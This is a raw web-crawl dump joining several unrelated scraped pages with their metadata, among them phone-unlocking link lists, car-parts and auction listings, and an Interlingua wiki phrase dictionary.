communionphotos de communionphotos de communion24photos bapteme bébé22photo de baptêmephoto de baptême bébéphoto evenementiel de baptêmephoto evenementiel de baptême33photo de nouveau néphoto de nouveau né30bébé photobébé photophoto evenementiel de baptême24découvrer nos services","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.lumyme.info\/project\/bapteme\/","date":"2021-12-04T06:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362952.24\/warc\/CC-MAIN-20211204063651-20211204093651-00242.warc.gz","language":"ina","language_score":0.6453580856,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6453580856323242, \"fra_Latn_score\": 0.059130217880010605, \"lua_Latn_score\": 0.03247203305363655, \"wes_Latn_score\": 0.03155907243490219, \"bam_Latn_score\": 0.022808482870459557, \"mfe_Latn_score\": 0.0166286900639534, \"ben_Latn_score\": 0.012321371585130692, \"atj_Latn_score\": 0.011904696002602577}","num_words":196,"character_repetition_ratio":0.365,"word_repetition_ratio":0.326,"special_characters_ratio":0.117,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.643,"perplexity_score":13057.8,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nTecno\nComo Liberar un Tecno Phantom 6 Gratis\nComo Liberar un Tecno Phantom 8 Gratis\nComo Liberar un Tecno Phantom 6 Plus Gratis\nComo Liberar un Tecno Camon CM Gratis\nComo Liberar un Tecno Camon CX Gratis\nComo Liberar un Tecno Camon CX Manchester City LE Gratis\nComo Liberar un Tecno Camon CX Air Gratis\nComo Liberar un Tecno Camon X Gratis\nComo Liberar un Tecno Spark Gratis\nComo Liberar un Tecno Camon X Pro Gratis\nComo Liberar un Tecno Spark CM Gratis\nComo Liberar un Tecno Spark 2 Gratis\nComo Liberar un Tecno Spark Plus Gratis\nComo Liberar un Tecno Spark Pro Gratis\nComo Liberar un Tecno Pouvoir 2 Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/comoliberar.com\/category\/tecno\/","date":"2023-03-20T13:09:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00630.warc.gz","language":"ina","language_score":0.5021172762,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5021172761917114, \"glg_Latn_score\": 0.09461218118667603, \"rej_Latn_score\": 0.04011184722185135, \"lvs_Latn_score\": 0.03444744274020195, \"frp_Latn_score\": 0.03241928666830063, \"spa_Latn_score\": 0.02882532589137554, \"pap_Latn_score\": 0.022382313385605812, \"ido_Latn_score\": 0.020728949457406998, \"mwl_Latn_score\": 0.01993229240179062, \"ile_Latn_score\": 0.014006687328219414, \"vec_Latn_score\": 0.01387780625373125, \"ita_Latn_score\": 0.012232676148414612, \"abs_Latn_score\": 0.011617545038461685, \"yuw_Latn_score\": 0.01158805564045906, \"nds_Latn_score\": 0.010551643557846546}","num_words":254,"character_repetition_ratio":0.352,"word_repetition_ratio":0.127,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.86,"perplexity_score":7630.1,"cluster_detection":-1} +{"text":"Super Topes Super Tope de ABS Super Tope de ABS con Esferas Super Tope de Acero Inoxidable con Esferas 235 Super Tope de Acero Inoxidable con Esferas 30 Super Tope de Acero Inoxidable con Prismas Super Tope de Aluminio Tope de Aluminio con Esferas Super Tope de Aluminio Alto Super Tope de Acero Solar","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/buckscontainers.com\/super-topes-marcaje-horizontal-vialidad\/","date":"2023-06-03T11:31:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649193.79\/warc\/CC-MAIN-20230603101032-20230603131032-00062.warc.gz","language":"ina","language_score":0.4600700736,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46007007360458374, \"spa_Latn_score\": 0.1894845813512802, \"arg_Latn_score\": 0.07419933378696442, \"glg_Latn_score\": 0.06346230208873749, \"kiu_Latn_score\": 0.03447915241122246, \"srd_Latn_score\": 0.027318090200424194, \"ast_Latn_score\": 0.0178532637655735, \"ile_Latn_score\": 0.01195442397147417, \"lad_Latn_score\": 0.01179079245775938}","num_words":91,"character_repetition_ratio":0.267,"word_repetition_ratio":0.354,"special_characters_ratio":0.193,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":0.765,"perplexity_score":8032.5,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nNokia\nComo Liberar un Nokia 8210 4G Gratis\nComo Liberar un Nokia 5710 XA Gratis\nComo Liberar un Nokia 2660 Flip Gratis\nComo Liberar un Nokia G11 Plus Gratis\nComo Liberar un Nokia C200 Gratis\nComo Liberar un Nokia C100 Gratis\nComo Liberar un Nokia C21 Plus Gratis\nComo Liberar un Nokia C21 Gratis\nComo Liberar un Nokia C2 2022 Gratis\nComo Liberar un Nokia G11 Gratis\nComo Liberar un Nokia G21 Gratis\nComo Liberar un Nokia X100 Gratis\nComo Liberar un Nokia G300 Gratis\nComo Liberar un Nokia G50 Gratis\nComo Liberar un Nokia XR20 Gratis\n‹ Newer Entries\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/comoliberar.com\/category\/nokia\/page\/2\/","date":"2023-06-05T09:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224651815.80\/warc\/CC-MAIN-20230605085657-20230605115657-00086.warc.gz","language":"ina","language_score":0.4419057369,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4419057369232178, \"ido_Latn_score\": 0.10066262632608414, \"lvs_Latn_score\": 0.04887162894010544, \"rej_Latn_score\": 0.04697342962026596, \"oci_Latn_score\": 0.038751114159822464, \"glg_Latn_score\": 0.03348705917596817, \"frp_Latn_score\": 0.02712116949260235, \"ast_Latn_score\": 0.02516082674264908, \"ind_Latn_score\": 0.022949647158384323, \"pap_Latn_score\": 0.021350936964154243, \"ron_Latn_score\": 0.01715126447379589, \"ile_Latn_score\": 0.013003107160329819, \"spa_Latn_score\": 0.010958504863083363}","num_words":208,"character_repetition_ratio":0.384,"word_repetition_ratio":0.206,"special_characters_ratio":0.265,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.48,"perplexity_score":6044.8,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite rotopresseAste per le vendite falciatriciAste per le vendite ranghinatoriAste per le vendite voltafienoAste per le vendite presse quadre » Aste per le vendite rotopresse CASE IHAste per le vendite CLAASAste per le vendite JOHN DEEREAste per le vendite KRONE","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/auction\/macchine-agricole-rotopressa-CASE-IH--c12tk2532tm2511.html","date":"2016-12-03T13:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698540932.10\/warc\/CC-MAIN-20161202170900-00122-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.7511074543,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7511074542999268, \"ita_Latn_score\": 0.10999806225299835, \"lmo_Latn_score\": 0.053282540291547775, \"nap_Latn_score\": 0.036956168711185455, \"frp_Latn_score\": 0.02249952219426632, \"bew_Latn_score\": 0.014234928414225578}","num_words":104,"character_repetition_ratio":0.386,"word_repetition_ratio":0.042,"special_characters_ratio":0.172,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":2761.1,"cluster_detection":-1} +{"text":"Repuestos Alfa Romeo Guatemala\nPartes y Repuestos de alfa romeo spider graduate. Amplio inventario Disponible, Encuentranos en Guatemala. Motores, Compresores, Bomba Hidraulica, Radiadores, Transmisiones, Suspension, Puertas para Carros y Mucho mas\n50\n79\n1\n100\n98\nAceite para Transmisiones alfa romeo spider graduate\nAceites para Motores alfa romeo spider graduate\nAlternadores alfa romeo spider graduate\nAmortiguadores Delanteros alfa romeo spider graduate\nAmortiguadores Traseros alfa romeo spider graduate\nBaules alfa romeo spider graduate\nBolsas de Aire alfa romeo spider graduate\nBombas de Agua alfa romeo spider graduate\nBombas de Gasolina alfa romeo spider graduate\nBombas Hidraulicas alfa romeo spider graduate\nBumpers Delantero alfa romeo spider graduate\nBumpers Trasero alfa romeo spider graduate\nCajas Automaticas alfa romeo spider graduate\nCajas Mecanicas alfa romeo spider graduate\nCandelas para Motor alfa romeo spider graduate\nCapos alfa romeo spider graduate\nCargadores Derechos alfa romeo spider graduate\nCargadores Frontales alfa romeo spider graduate\nCargadores Izquierdos alfa romeo spider graduate\nCargadores Traseros alfa romeo spider graduate\nChapas de Capo alfa romeo spider graduate\nCompresores AC alfa romeo spider graduate\nCompuertas alfa romeo spider graduate\nComputadoras alfa romeo spider graduate\nCondensadores AC alfa romeo spider graduate\nCremalleras alfa romeo spider graduate\nCremalleras de Puertas alfa romeo spider graduate\nCuerpos de Aceleracion alfa romeo spider graduate\nDepuradores alfa romeo spider graduate\nDiscos de Freno alfa romeo spider graduate\nEmbellecedor de Radiador alfa romeo spider graduate\nEmpaques para Motores alfa romeo spider graduate\nFiltros de Aceite alfa romeo spider graduate\nFiltros de Aire alfa romeo spider graduate\nFlechas alfa romeo spider graduate\nFlujos de Aire alfa romeo spider graduate\nFricciones y Pastillas alfa romeo spider graduate\nGuarda Fangos alfa romeo spider graduate\nLlantas para Vehiculos alfa romeo spider graduate\nLoderas alfa romeo spider graduate\nLuces Traseras alfa romeo spider graduate\nManifolds alfa romeo spider graduate\nMotores alfa romeo spider graduate\nMuletas alfa romeo spider graduate\nMuñones alfa romeo spider graduate\nNeblineras alfa romeo spider graduate\nPastillas alfa romeo spider graduate\nPersianas alfa romeo spider graduate\nPuentes alfa romeo spider graduate\nPuertas para Carros alfa romeo spider graduate\nPuntas de Flecha alfa romeo spider graduate\nRadiadores alfa romeo spider graduate\nRecipiente de Chorritos alfa romeo spider graduate\nRecipiente Radiador alfa romeo spider graduate\nRejilla Central de Bumper alfa romeo spider graduate\nRetrovisores alfa romeo spider graduate\nSensor de Oxigeno alfa romeo spider graduate\nSilvines alfa romeo spider graduate\nSoporte de Radiador alfa romeo spider graduate\nStarters alfa romeo spider graduate\nValvula IAC TPS alfa romeo spider graduate\nVentilador alfa romeo spider graduate\nVidrios para Carro alfa romeo spider graduate","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.copartes.com\/repuestos\/56\/alfa%20romeo\/1855\/spider%20graduate","date":"2017-01-24T02:57:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560283689.98\/warc\/CC-MAIN-20170116095123-00533-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3533195555,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.35331955552101135, \"eng_Latn_score\": 0.07956255972385406, \"lat_Latn_score\": 0.05704650282859802, \"pol_Latn_score\": 0.03194595128297806, \"spa_Latn_score\": 0.024353230372071266, \"ita_Latn_score\": 0.02334943227469921, \"swe_Latn_score\": 0.022097071632742882, \"lvs_Latn_score\": 0.02008463442325592, \"pap_Latn_score\": 0.019445715472102165, \"por_Latn_score\": 0.017367377877235413, \"ast_Latn_score\": 0.015050308778882027, \"nap_Latn_score\": 0.012478156015276909, \"epo_Latn_score\": 0.012163546867668629, \"slv_Latn_score\": 0.011867339722812176, \"bos_Latn_score\": 0.011788611300289631, \"lit_Latn_score\": 0.01164357177913189, \"mlt_Latn_score\": 0.011553307995200157, \"nob_Latn_score\": 0.010772611014544964, \"mwl_Latn_score\": 0.010489903390407562, \"scn_Latn_score\": 0.010102694854140282}","num_words":856,"character_repetition_ratio":0.465,"word_repetition_ratio":0.07,"special_characters_ratio":0.147,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":0.432,"perplexity_score":10818.4,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite camion » Aste per le vendite camion furgoniAste per le vendite camion centinatiAste per le vendite camion frigo » Aste per le vendite camion furgoni FIATAste per le vendite DAFAste per le vendite IVECOAste per le vendite MANAste per le vendite MERCEDES-BENZAste per le vendite RENAULTAste per le vendite SCANIAAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/autoline-eu.it\/auction\/camion-furgone-FIAT--c1tk2443tm2558.html","date":"2017-01-18T01:45:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280133.2\/warc\/CC-MAIN-20170116095120-00190-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.8075858355,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"ina_Latn_score\": 0.8075858354568481, \"lmo_Latn_score\": 0.057021088898181915, \"nap_Latn_score\": 0.05220332741737366, \"frp_Latn_score\": 0.049679260700941086, \"ita_Latn_score\": 0.0219552144408226}","num_words":107,"character_repetition_ratio":0.413,"word_repetition_ratio":0.02,"special_characters_ratio":0.179,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":2716.9,"cluster_detection":-1} +{"text":"Thesauro es 9 807paginas in iste wiki Add New Page Modificar Classic editor Historia Discussion0 Share Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z esModificar soi \/ es \/ est \/ somos \/ estis \/ son es io forsan le guardiano de mi fratre?Modificar soi io forsan le guardiano de mi fratre? es toto de vostre gusto?Modificar est toto de vostro gusto? EsauModificar esbossarModificar esbossar un imagineModificar esbossar una imagine esbossoModificar escaModificar esca artificialModificar esca viventeModificar escalarModificar escalar vb escalar attaccosModificar escalar un conflictoModificar escalationModificar escalation de un conflictoModificar EscaldaModificar escaldarModificar escaldaturaModificar escamotageModificar escamotage de un cartaModificar escamotarModificar escamotar difficultatesModificar escamotar papiros compromittenteModificar escamotar papiros compromittentes escamotar un conflictoModificar escamotar un objecto in su tascaModificar escamotar un passaportoModificar escamparModificar escappabileModificar escappabile(s) escappadaModificar escappamentoModificar escapparModificar escappar a un periculoModificar escappar al morteModificar escappar a la morte escappar al policiaModificar escappar a la policia escappar al tentationModificar escappar a la tentation escappar con le cassaModificar escappar con la cassa escappar de \/ del manoModificar escappar de \/ de_la mano escappar del pelotonModificar escappataModificar escappatoModificar escappatoriaModificar escappismoModificar escappistaModificar escarModificar eschatologiaModificar eschatologicModificar eschatologico(s) \/ eschatologica(s) eschatologistaModificar eschatologoModificar eschimeseModificar eschimese(s) \/ eschimesa(s) eschimoModificar EschyloModificar esclusaModificar esclusa a aereModificar esclusa de admissionModificar esclusa de evacuationModificar esclusa de inundationModificar esclusa de irrigationModificar esclusa de marModificar esclusa de mareaModificar esclusa de un canalModificar esclusa de un polderModificar esclusa dupleModificar esclusa dupla esclusa fluvialModificar esclusageModificar esclusarModificar esclusataModificar escluseroModificar escolamentoModificar escolamento de un polderModificar escolarModificar escolar vb escolatorioModificar escortaModificar escorta armateModificar escorta armata escorta de honorModificar escorta del policiaModificar escorta de la policia escorta militarModificar escortarModificar escortatorModificar escudoModificar EsculapioModificar esculapioModificar esculenteModificar esculente(s) esculinaModificar esculoModificar Esdras = EzraModificar eserinaModificar esmeraldinModificar esmeraldino(s) \/ esmeraldina(s) esmeraldoModificar esophageeModificar esophageo(s) \/ esophagea(s) esophagismoModificar esophagitisModificar esophagoModificar esophagoscopioModificar esopicModificar esopico(s) \/ esopica(s) EsopoModificar esotericModificar esoterico(s) \/ esoterica(s) esoterismoModificar espagnolette [F]Modificar EspaniaModificar espaniolModificar espaniol adj, sub espaniol-franceseModificar espaniol-francese adj inv espaniolisarModificar espaniolizar espaniolisationModificar espaniolization espaniolophoneModificar espaniolophono(s) \/ espaniolophona(s) espaniolophonoModificar espaventa avesModificar espaventa aves [le espaventabileModificar espaventabile(s) espaventaculoModificar espaventarModificar espaventar seModificar espaventoModificar esperantismoModificar esperantistaModificar esperantoModificar esplanadaModificar espressivo [I]Modificar espresso [I]Modificar esquadraModificar esquadra aereeModificar esquadra aerea esquadra de agrimensorModificar esquadra de avionesModificar esquadra de chassaModificar esquadra de ferroModificar esquadra de \/ del morteModificar esquadra de \/ de_la morte esquadrarModificar esquadriliaModificar esquadrilia de bombarderosModificar esquadronModificar esque {eke}Modificar estque esque ille ha le libro?Modificar estque ille ha \/ habe le libro? esque io ha essite sufficientemente clar?Modificar estque io hai \/ habeo essito sufficientemente claro(a)? esque isto es alco nove?Modificar estque isto est alco novo? essamageModificar essamarModificar essamaturaModificar essameModificar essame de apesModificar essayabileModificar essayabile(s) essayageModificar essayarModificar essayar de provocar un rupturaModificar essayar de provocar una ruptura essayar de trovarModificar essayar le auroModificar essayatorModificar essayistaModificar essayoModificar essayo atomicModificar essayo atomico essayo de laboratorioModificar essayo de soldabilitateModificar essayo de tractionModificar essayo dynamometricModificar essayo dynamometrico essayo nuclearModificar essayo poeticModificar essayo poetico essayos miscellaneeModificar essayos miscellaneos essayos timideModificar essayos timidos essenicModificar essenico(s) \/ essenica(s) essenoModificar essentiaModificar essentia de caffeModificar essentia de canangaModificar essentia de cannellaModificar essentia de cedroModificar essentia de citroModificar essentia de citronellaModificar essentia de lavandulaModificar essentia de limonModificar essentia de macisModificar essentia de majoranaModificar essentia de mentha piperateModificar essentia de mentha piperata essentia de mustardaModificar essentia de myrtoModificar essentia de pipereModificar essentia de rosasModificar essentia de salviaModificar essentia de terebinthinaModificar essentia de un doctrinaModificar essentia de una doctrina essentia del cosasModificar essentia de las cosas essentia del homineModificar essentialModificar essential(es) essentialismoModificar essentialitateModificar esserModificar esser vb, sub esser a casaModificar esser a dietaModificar esser a portata de \/ del manoModificar esser a portata de \/ de_la mano esser absente al lectionesModificar esser absente(s) a las lectiones esser absente de casaModificar esser absente(s) de casa esser absorbite in un subjectoModificar esser [absorbito(s) \/ absorbita(s)] in un subjecto esser acceptate in le circulo familiarModificar esser [acceptato(s) \/ acceptata(s)] in le circulo familiar esser accessibile al rationModificar esser accessibile(s) a la ration esser accompaniate deModificar esser [accompaniato(s) \/ accompaniata(s)] de esser accusate de heterodoxiaModificar esser [accusato(s) \/ accusata(s)] de heterodoxia esser accusate de homicidio voluntariModificar esser [accusato(s) \/ accusata(s)] de homicidio voluntario esser adulteroModificar esser affamateModificar esser affamato(s) \/ affamata(s) esser agricultorModificar esser al ancoraModificar esser a la ancora esser al apice de su poterModificar esser al apice del carrieraModificar esser al apice de la carriera esser al apice del gloriaModificar esser al apice de la gloria esser al base de un cosaModificar esser a la base de una cosa esser al bordo del abysmoModificar esser al bordo del bancaruptaModificar esser al bordo de la bancarupta esser al centro de attention generalModificar esser al currenteModificar esser al disposition deModificar esser a la disposition de esser al fin de su latinoModificar esser al laborModificar esser al limite de su fortiasModificar esser al limite de sus fortias esser al margine del vitaModificar esser a la margine de la vita esser al mercede deModificar esser a la mercede de esser al parModificar esser al passoModificar esser al poterModificar esser al punctoModificar esser al recerca de un altere empleoModificar esser a la recerca de un altero empleo esser al summitate del lista de candidatosModificar esser a la summitate de la lista de candidatos esser al timonModificar esser al travalioModificar esser allerteModificar esser allerte(s) \/ allerta(s) esser allogiate in un hotelModificar esser [allogiato(s) \/ allogiata(s)] in un hotel esser ancorateModificar esser ancorato(s) \/ ancorata(s) esser ante un dilemmaModificar esser ante un enigmaModificar esser anterior aModificar esser applicate amplementeModificar esser [applicato(s) \/ applicata(s)] amplamente esser apportate per le ventoModificar esser [apportato(s) \/ apportata(s)] per le vento esser armate contra le frigidoModificar esser [armato(s) \/ armata(s)] contra le frigido esser assecurate contra incendiosModificar esser [assecurato(s) \/ assecurata(s)] contra incendios esser assetateModificar esser assetato(s) \/ assetata(s) esser attentive aModificar esser [attentivo(s) \/ attentiva(s)] a esser autosufficienteModificar esser autosufficiente(s) esser avanteModificar esser basicamente de accordoModificar esser ben notate pressoModificar esser ben [notato(s) \/ notata(s)] presso esser bilioseModificar esser bilioso(s) \/ biliosa(s) esser borrate de tranquillisantesModificar esser [borrato(s) \/ borrata(s)] de tranquillizantes esser breve e curteModificar esser breve_e_curto \/ breves_e_curtos \/ breve_e_curta \/ breves_e_curtas esser cargate de un cursoModificar esser [cargato(s) \/ cargata(s)] de un curso esser cargate del direction de un cursoModificar esser [cargato(s) \/ cargata(s)] de la direction de un curso esser cec superModificar esser [ceco(s) \/ ceca(s)] super esser certe de un cosaModificar esser [certo(s) \/ certa(s)] de una cosa esser chaco e matModificar esser chaco e \/ et mat esser cognite comoModificar esser [cognito(s) \/ cognita(s)] como esser collate al telephonoModificar esser [collato(s) \/ collata(s)] al telephono esser como le umbra de un personaModificar esser como la umbra de una persona esser competente in un materiaModificar esser competente in una materia esser complementariModificar esser complementario(s) \/ complementaria(s) esser completemente de accordoModificar esser completamente de accordo esser completemente ignoranteModificar esser completamente ignorante(s) esser completemente inutileModificar esser completamente inutile(s) esser compulsorimente assecurateModificar esser compulsoriamente assecurato(s) \/ assecurata(s) esser con un pede in le fossaModificar esser con un pede in la fossa esser con un pede in le sepulturaModificar esser con un pede in la sepultura esser condemnate a perpetuitateModificar esser [condemnato(s) \/ condemnata(s)] a perpetuitate esser condemnate a prisionModificar esser [condemnato(s) \/ condemnata(s)] a prision esser condemnate al decapitationModificar esser condemnate al decapitation esser condemnate al fustigationModificar esser [condemnato(s) \/ condemnata(s)] a la fustigation esser condemnate al inactivitateModificar esser [condemnato(s) \/ condemnata(s)] a la inactivitate esser confortate in su opinionModificar esser [confortato \/ confortata] in su opinion esser confrontate a su proprie limitesModificar esser [confrontato \/ confrontata] a sus proprios limites esser confrontate con difficultatesModificar esser [confrontato(s) \/ confrontata(s)] con difficultates esser congedateModificar esser congedato(s) \/ congedata(s) esser conicModificar esser conico(s) \/ conica(s) esser connectite al monitorModificar esser [connectito(s) \/ connectita(s)] al monitor esser consciente del necessitate de un cosaModificar esser consciente(s) de la necessitate de una cosa esser consequente in su actionesModificar esser consequente in sus actiones esser considerate como normaModificar esser [considerato \/ considerata] como norma esser consumite per le flammasModificar esser [consumito(s) \/ consumita(s)] per las flammas esser contaminate per un virusModificar esser [contaminato(s) \/ contaminata(s)] per un virus esser contraModificar esser contrari al expectationModificar esser [contrario(s) \/ contraria(s)] a la expectation esser contrarianteModificar esser contrariando esser sub controlo parentalModificar esser corporatura robusteModificar esser corporatura robusta esser crucifigiteModificar esser crucifigito(s) \/ crucifigita(s) esser sub curatelaModificar esser curte de gambasModificar esser [curto(s) \/ curta(s)] de gambas esser curte de halitoModificar esser [curto(s) \/ curta(s)] de halito esser curte de monetaModificar esser [curto(s) \/ curta(s)] de moneta esser de accordoModificar esser de accordo con le inimicoModificar esser de basse extractionModificar esser de bassa extraction esser de basse nascentiaModificar esser de bassa nascentia esser de basse origineModificar esser de bassa origine esser de bon augurioModificar esser de bon humorModificar esser de conniventia con le inimicoModificar esser de consequentiaModificar esser de constitution delicateModificar esser de constitution delicata esser de faction al angulo del strataModificar esser de \/ in faction al angulo de la strata esser de humor contradictoriModificar esser de humor contradictorio esser de mal augurioModificar esser de mal humorModificar esser de memoria curteModificar esser de memoria curta esser de nascentia nobileModificar esser de opinion contrariModificar esser de opinion contraria esser de opinion queModificar esser de origine nobileModificar esser de primari importantiaModificar esser de primaria importantia esser de prime importantiaModificar esser de prima importantia esser de reservaModificar esser de retornoModificar esser de rigorModificar esser de sanguine regalModificar esser de sanguine royalModificar esser de transitoModificar esser debitor de un personaModificar esser debitor de una persona esser declarate persona non grataModificar esser declarato(a) persona non grata esser del competentia deModificar esser de la competentia de esser del incumbentia deModificar esser de la incumbentia de esser del mesme etateModificar esser de la mesma etate esser del mesme opinionModificar esser de la mesma opinion esser del modaModificar esser de la moda esser deliberate a non cederModificar esser [deliberato(s) \/ deliberata(s)] a non ceder esser designate como successorModificar esser designato(a) como successor esser desperatemente inamorateModificar esser desperatamente inamorato(s) \/ inamorata(s) esser detraModificar esser devorate de jelosiaModificar esser [devorato(s) \/ devorata(s)] de jelosia esser devorate per le flammasModificar esser [devorato(s) \/ devorata(s)] per las flammas esser devorate per le invidiaModificar esser [devorato(s) \/ devorata(s)] per la invidia esser digne de venerationModificar esser [digno(s) \/ digna(s)] de veneration esser disfigurate per le variolaModificar esser [disfigurato(s) \/ disfigurata(s)] per la variola esser disgustate de un cosaModificar esser [disgustato(s) \/ disgustata(s)] de una cosa esser disposite a adjutarModificar esser [disposito(s) \/ disposita(s)] a adjutar esser disposite a facer un cosaModificar esser [disposito(s) \/ disposita(s)] a facer una cosa esser divise super un cosaModificar esser [diviso(s) \/ divisa(s)] super una cosa esser domiciliateModificar esser domiciliato(s) \/ domiciliata(s) esser dotate de autocriticaModificar esser [dotato(s) \/ dotata(s)] de autocritica esser equal al monstraModificar esser equal(es) a la monstra esser equeModificar esser equo(s) \/ equa(s) esser equilibrateModificar esser equilibrato(s) \/ equilibrata(s) esser ericiate de debitasModificar esser [ericiato(s) \/ ericiata(s)] de debitas esser exacte a un rendez-vousModificar esser [exacto(s) \/ exacta(s)] a un rendez-vous esser exempte de phantasiaModificar esser [exempto(s) \/ exempta(s)] de phantasia esser exempte de(l) servicio militarModificar esser exempto(s) de(l) servicio militar esser exempte del examine de mathematicaModificar esser [exempto(s) \/ exempta(s)] del examine de mathematica esser eximite de pagar impostosModificar esser [eximito(s) \/ eximita(s)] de pagar impostos esser experto in le materiaModificar esser experto in la materia esser experto in un campo determinateModificar esser experto in un campo determinato esser exponite a vilificationModificar esser [exponito(s) \/ exponita(s)] a vilification esser extra le legeModificar esser extra la lege esser extranee a un cosaModificar esser [extraneo(s) \/ extranea(s)] a una cosa esser extraterrestreModificar esser extrememente subestimateModificar esser extremamente subestimato(s) \/ subestimata(s) esser extrememente estimateModificar esser extremamente estimato(s) \/ estimata(s) esser familiar conModificar esser fidel a su principiosModificar esser fidel a sus principios esser filio de su epochaModificar esser filio del fortunaModificar esser filio de la fortuna esser firme super su gambasModificar esser folle de gaudioModificar esser [folle(s) \/ follo(s) \/ folla(s)] de gaudio esser folle de joiaModificar esser [folle(s) \/ follo(s) \/ folla(s)] de joia esser foras \/ foris de casaModificar esser foris de temporeModificar esser foris de usoModificar esser foris del legeModificar esser foris de la lege esser foris sin usoModificar esser forte in historiaModificar esser grasse al tactoModificar esser grate a DeoModificar esser [grato(s) \/ grata(s)] a Deo esser grate al oculos de DeoModificar esser [grato(s) \/ grata(s)] a los oculos de Deo esser humanModificar esser humano sub esser humiliateModificar esser humiliato(s) \/ humiliata(s) esser idonee pro un bursa de studioModificar esser [idoneo(s) \/ idonea(s)] pro una bursa de studio esser imbibite de prejudiciosModificar esser [imbibito(s) \/ imbibita(s)] de prejudicios esser imbuite de un ideaModificar esser [imbuito(s) \/ imbuita(s)] de una idea esser immergite in le soporModificar esser [immergito(s) \/ immergita(s)] in le sopor esser implicate in complotModificar esser [implicato(s) \/ implicata(s)] in complot esser impotente ante un disastroModificar esser impotente(s) ante un disastro esser imprisionateModificar esser imprisionato(s) \/ imprisionata(s) esser in adoration cec anteModificar esser in adoration ceca ante esser in agoniaModificar esser in apprentissageModificar esser in balanciaModificar esser in bon manosModificar esser in bonas manos esser in bon terminos conModificar esser in bonos terminos con esser in camminoModificar esser in carneModificar esser in cerca deModificar esser in choleraModificar esser in \/ le comaModificar esser in competition con un personaModificar esser in competition con una persona esser in condition deModificar esser in conferentiaModificar esser in congedoModificar esser in contacto conModificar esser in contradiction conModificar esser in contraventionModificar esser in convalescentiaModificar esser in conversation conModificar esser in curaModificar esser in declivitateModificar esser in desperoModificar esser in difficultates monetariModificar esser in difficultates monetarias esser in disaccordo conModificar esser in disavantageModificar esser in disgratiaModificar esser in dubitaModificar esser in ebullitionModificar esser in effervescentiaModificar esser in equilibrioModificar esser in errorModificar esser in focoModificar esser in formaModificar esser in garnisonModificar esser in grande considerationModificar esser in grande estimaModificar esser in grande miseriaModificar esser in guarnitionModificar esser in guerra conModificar esser in imboscadaModificar esser in incertitudeModificar esser in infractionModificar esser in le agendaModificar esser in la agenda esser in le bracios de MorpheoModificar esser in los bracios de Morpheo esser in le mesme banioModificar esser in le mesmo banio esser in le miseriaModificar esser in la miseria esser in le nubesModificar esser in las nubes esser in le oppositionModificar esser in la opposition esser in le vigor del annosModificar esser in le vigor de los annos esser in lineaModificar esser in luctoModificar esser in mal terminos conModificar esser in males \/ malos terminos con esser in minoritateModificar esser in pannaModificar esser in passoModificar esser in pedesModificar esser in periculoModificar esser in periculo de vitaModificar esser in plen crescimentoModificar esser in pleno crescimento esser in plen decadentiaModificar esser in plena decadentia esser in plen 